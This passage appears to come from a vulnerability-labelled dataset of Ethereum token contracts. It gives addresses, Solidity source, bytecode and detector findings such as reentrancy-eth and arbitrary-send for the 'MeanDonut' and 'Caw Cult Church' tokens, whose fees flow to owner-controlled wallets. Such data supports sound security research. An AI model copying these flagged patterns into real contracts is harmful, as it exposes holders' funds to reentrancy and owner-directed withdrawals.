0836116e2565b6006556007546117ea9082611724565b6007555050565b600080808061180b60646118058989611896565b906114ae565b9050600061181e60646118058a89611896565b90506000611836826118308b866116e2565b906116e2565b9992985090965090945050505050565b60008080806118558886611896565b905060006118638887611896565b905060006118718888611896565b905060006118838261183086866116e2565b939b939a50919850919650505050505050565b6000826118a5575060006106a3565b60006118b18385611d82565b9050826118be8583611d60565b146112cd5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161061d565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107ed57600080fd5b803561194b8161192b565b919050565b6000602080838503121561196357600080fd5b823567ffffffffffffffff8082111561197b57600080fd5b818501915085601f83011261198f57600080fd5b8135818111156119a1576119a1611915565b8060051b604051601f19603f830116810181811085821117156119c6576119c6611915565b6040529182528482019250838101850191888311156119e457600080fd5b938501935b82851015611a09576119fa85611940565b845293850193928501926119e9565b98975050505050505050565b600060208083528351808285015260005b81811015611a4257858101830151858201604001528201611a26565b81811115611a54576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a7d57600080fd5b8235611a888161192b565b946020939093013593505050565b600080600060608486031215611aab57600080fd5b8335611ab68161192b565b92506020840135611ac68161192b565b929592945050506040919091013590565b600060208284031215611ae957600080fd5b81356112cd8161192b565b8035801515811461194b57600080fd5b600060208284031215611b1657600080fd5b6112cd82611af4565b600060208284031215611b3157600080fd5b5035919050565b60008060008060808587031215611b4e57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b7f57600080fd5b833567ffffffffffffffff80821115611b9757600080fd5b818601915086601f830112611bab57600080fd5b813581811115611bba57600080fd5b8760208260051b8501011115611bcf57600080fd5b602092830195509350611be59186019050611af4565b90509250925092565b60008060408385031215611c0157600080fd5b8235611c0c8161192b565b91506020830135611c1c8161192b565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c9c57611c9c611c72565b5060010190565b60008219821115611cb657611cb6611c72565b500190565b600082821015611ccd57611ccd611c72565b500390565b600060208284031215611ce457600080fd5b81516112cd8161192b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d3f5784516001600160a01b031683529383019391830191600101611d1a565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d7d57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d9c57611d9c611c72565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205ffde89aa7fe42a988f42acf8c38bf9a685b9693f3ac6300952f3460a79d1f5a64736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 1,958 |
0xf18c662406dd3fd48e2c351fc8fa9ab22110e0c8 | //SPDX-License-Identifier: None
// Telegram: https://t.me/meandonutentry
pragma solidity ^0.8.9;
uint256 constant INITIAL_TAX=10;
uint256 constant TOTAL_SUPPLY=100000000;
string constant TOKEN_SYMBOL="MEANDONUT";
string constant TOKEN_NAME="Mean Donut";
uint8 constant DECIMALS=6;
uint256 constant TAX_THRESHOLD=1000000000000000000;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract MeanDonut is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _burnFee;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 private _maxTxAmount;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_burnFee = 1;
_taxFee = INITIAL_TAX;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(50);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<=_maxTxAmount,"Transaction amount limited");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance >= TAX_THRESHOLD) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier onlyTaxCollector() {
require(_taxWallet == _msgSender() );
_;
}
function lowerTax(uint256 newTaxRate) public onlyTaxCollector{
require(newTaxRate<INITIAL_TAX);
_taxFee=newTaxRate;
}
function removeBuyLimit() public onlyTaxCollector{
_maxTxAmount=_tTotal;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function startTrading() external onlyTaxCollector {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external onlyTaxCollector{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyTaxCollector{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106100f75760003560e01c806370a082311161008a5780639e752b95116100595780639e752b95146102a7578063a9059cbb146102c7578063dd62ed3e146102e7578063f42938901461032d57600080fd5b806370a0823114610218578063715018a6146102385780638da5cb5b1461024d57806395d89b411461027557600080fd5b8063293230b8116100c6578063293230b8146101bb578063313ce567146101d25780633e07ce5b146101ee57806351bc3c851461020357600080fd5b806306fdde0314610103578063095ea7b31461014857806318160ddd1461017857806323b872dd1461019b57600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b5060408051808201909152600a8152691359585b88111bdb9d5d60b21b60208201525b60405161013f91906113a2565b60405180910390f35b34801561015457600080fd5b5061016861016336600461140c565b610342565b604051901515815260200161013f565b34801561018457600080fd5b5061018d610359565b60405190815260200161013f565b3480156101a757600080fd5b506101686101b6366004611438565b61037a565b3480156101c757600080fd5b506101d06103e3565b005b3480156101de57600080fd5b506040516006815260200161013f565b3480156101fa57600080fd5b506101d061075b565b34801561020f57600080fd5b506101d0610791565b34801561022457600080fd5b5061018d610233366004611479565b6107be565b34801561024457600080fd5b506101d06107e0565b34801561025957600080fd5b506000546040516001600160a01b03909116815260200161013f565b34801561028157600080fd5b50604080518082019091526009815268135150539113d3955560ba1b6020820152610132565b3480156102b357600080fd5b506101d06102c2366004611496565b610884565b3480156102d357600080fd5b506101686102e236600461140c565b6108ad565b3480156102f357600080fd5b5061018d6103023660046114af565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561033957600080fd5b506101d06108ba565b600061034f338484610924565b5060015b92915050565b60006103676006600a6115e2565b610375906305f5e1006115f1565b905090565b6000610387848484610a48565b6103d984336103d485604051806060016040528060288152602001611756602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610cce565b610924565b5060019392505050565b6009546001600160a01b031633146103fa57600080fd5b600c54600160a01b900460ff16156104595760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600b546104859030906001600160a01b03166104776006600a6115e2565b6103d4906305f5e1006115f1565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104fc9190611610565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561055e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105829190611610565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f39190611610565b600c80546001600160a01b0319166001600160a01b03928316179055600b541663f305d7194730610623816107be565b6000806106386000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106a0573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106c5919061162d565b5050600c805462ff00ff60a01b1981166201000160a01b17909155600b5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610734573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610758919061165b565b50565b6009546001600160a01b0316331461077257600080fd5b61077e6006600a6115e2565b61078c906305f5e1006115f1565b600a55565b6009546001600160a01b031633146107a857600080fd5b60006107b3306107be565b905061075881610d08565b6001600160a01b03811660009081526002602052604081205461035390610e82565b6000546001600160a01b0316331461083a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610450565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6009546001600160a01b0316331461089b57600080fd5b600a81106108a857600080fd5b600855565b600061034f338484610a48565b6009546001600160a01b031633146108d157600080fd5b4761075881610eff565b600061091d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f3d565b9392505050565b6001600160a01b0383166109865760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610450565b6001600160a01b0382166109e75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610450565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610aac5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610450565b6001600160a01b038216610b0e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610450565b60008111610b705760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610450565b6000546001600160a01b03848116911614801590610b9c57506000546001600160a01b03838116911614155b15610cbe57600c546001600160a01b038481169116148015610bcc5750600b546001600160a01b03838116911614155b8015610bf157506001600160a01b03821660009081526004602052604090205460ff16155b15610c4857600a54811115610c485760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d697465640000000000006044820152606401610450565b6000610c53306107be565b600c54909150600160a81b900460ff16158015610c7e5750600c546001600160a01b03858116911614155b8015610c935750600c54600160b01b900460ff165b15610cbc57610ca181610d08565b47670de0b6b3a76400008110610cba57610cba47610eff565b505b505b610cc9838383610f6b565b505050565b60008184841115610cf25760405162461bcd60e51b815260040161045091906113a2565b506000610cff848661167d565b95945050505050565b600c805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d5057610d50611694565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610da9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dcd9190611610565b81600181518110610de057610de0611694565b6001600160a01b039283166020918202929092010152600b54610e069130911684610924565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e3f9085906000908690309042906004016116aa565b600060405180830381600087803b158015610e5957600080fd5b505af1158015610e6d573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b6000600554821115610ee95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610450565b6000610ef3610f76565b905061091d83826108db565b6009546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610f39573d6000803e3d6000fd5b5050565b60008183610f5e5760405162461bcd60e51b815260040161045091906113a2565b506000610cff848661171b565b610cc9838383610f99565b6000806000610f83611090565b9092509050610f9282826108db565b9250505090565b600080600080600080610fab87611112565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610fdd908761116f565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461100c90866111b1565b6001600160a01b03891660009081526002602052604090205561102e81611210565b611038848361125a565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161107d91815260200190565b60405180910390a3505050505050505050565b6005546000908190816110a56006600a6115e2565b6110b3906305f5e1006115f1565b90506110db6110c46006600a6115e2565b6110d2906305f5e1006115f1565b600554906108db565b821015611109576005546110f16006600a6115e2565b6110ff906305f5e1006115f1565b9350935050509091565b90939092509050565b600080600080600080600080600061112f8a60075460085461127e565b925092509250600061113f610f76565b905060008060006111528e8787876112d3565b919e509c509a509598509396509194505050505091939550919395565b600061091d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cce565b6000806111be838561173d565b90508381101561091d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610450565b600061121a610f76565b905060006112288383611323565b3060009081526002602052604090205490915061124590826111b1565b30600090815260026020526040902055505050565b600554611267908361116f565b60055560065461127790826111b1565b6006555050565b600080808061129860646112928989611323565b906108db565b905060006112ab60646112928a89611323565b905060006112c3826112bd8b8661116f565b9061116f565b9992985090965090945050505050565b60008080806112e28886611323565b905060006112f08887611323565b905060006112fe8888611323565b90506000611310826112bd868661116f565b939b939a50919850919650505050505050565b60008261133257506000610353565b600061133e83856115f1565b90508261134b858361171b565b1461091d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610450565b600060208083528351808285015260005b818110156113cf578581018301518582016040015282016113b3565b818111156113e1576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461075857600080fd5b6000806040838503121561141f57600080fd5b823561142a816113f7565b946020939093013593505050565b60008060006060848603121561144d57600080fd5b8335611458816113f7565b92506020840135611468816113f7565b929592945050506040919091013590565b60006020828403121561148b57600080fd5b813561091d816113f7565b6000602082840312156114a857600080fd5b5035919050565b600080604083850312156114c257600080fd5b82356114cd816113f7565b915060208301356114dd816113f7565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561153957816000190482111561151f5761151f6114e8565b8085161561152c57918102915b93841c9390800290611503565b509250929050565b60008261155057506001610353565b8161155d57506000610353565b8160018114611573576002811461157d57611599565b6001915050610353565b60ff84111561158e5761158e6114e8565b50506001821b610353565b5060208310610133831016604e8410600b84101617156115bc575081810a610353565b6115c683836114fe565b80600019048211156115da576115da6114e8565b029392505050565b600061091d60ff841683611541565b600081600019048311821515161561160b5761160b6114e8565b500290565b60006020828403121561162257600080fd5b815161091d816113f7565b60008060006060848603121561164257600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561166d57600080fd5b8151801515811461091d57600080fd5b60008282101561168f5761168f6114e8565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116fa5784516001600160a01b0316835293830193918301916001016116d5565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261173857634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115611750576117506114e8565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122020e8779d79a371f5219bdfe2db85d3db91e17471516c78db7540454562bcd97c64736f6c634300080c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,959 |
0x1a48b1787843b18895bf5dfca334fa656bbf7d2a | /**
*Submitted for verification at Etherscan.io on 2022-04-17
*/
// SPDX-License-Identifier: Unlicensed
/**Hunter's Statement:
The world thinks we're a cult?
Just kill people?
No.
We want them to see our holy church.
We pray in the church.
We protect.
We are CAW.
Only us!
ccccccccc
c c
c c
c c
c c
c c
c c
c c c c c
ccccccccccccc ccccccccccccc
cc cc
cc cc
cc cc
ccccccccccccc ccccccccccccc
c c cccc
c c cc cc
c c cc c
cc c c c cc
cccccccc c c cc c
cc c c c ccc ccc
ccccccc cc c c cc cc
cc cc cc c c cc cc
cc c c cc c ccc ccccc c
c c ccc ccc c cc c cc cc c
cc cc cc cc cccc c c c
ccc ccc cc cc cc c
cc c cc c cc ccc cccc
cc cc cc c c cc cc
cc c cc c cc cc ccc
c cc cc c cc cc c cc
c cc c c cc c c c
cccccc cccccccc ccccc cccccccccccccccc cccccc
**/
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract CCC is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Caw Cult Church";
string private constant _symbol = "CCC";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 999999999999999 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 3;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 3;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x7C16715470f34525Df4aFFddE3ed93499591de52);
address payable private _marketingAddress = payable(0x7C16715470f34525Df4aFFddE3ed93499591de52);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000000000 * 10**9;
uint256 public _maxWalletSize = 10000000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
